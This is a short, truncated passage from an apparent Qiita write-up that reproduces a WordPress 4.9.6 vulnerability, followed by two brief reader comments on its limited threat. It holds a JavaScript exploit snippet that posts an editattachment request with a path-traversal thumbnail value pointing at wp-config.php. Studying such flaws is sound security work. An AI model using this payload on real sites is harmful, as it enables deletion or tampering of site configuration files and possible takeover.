WordPress 4.9.6の脆弱性を再現確認してみた - Qiita

var nonce = document.getElementById("_wpnonce").value var id = document.location.search.match(/post=(\d+)/)[1] var data = "action=editattachment&_wpnonce=" + nonce + "&thumb=../../../../wp-config.php" var xhr = new XMLHttpRequest() xhr.open("POST", "/wp-admin/post.php?post=" + id) xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.onreadystatechange = function() { var RE

[tmatsuu]

アップデート！

[ockeghem]

『投稿者権限以上でログインしないといけないので、運用体制次第ですが、そこまで脅威ではなさそうな気がします』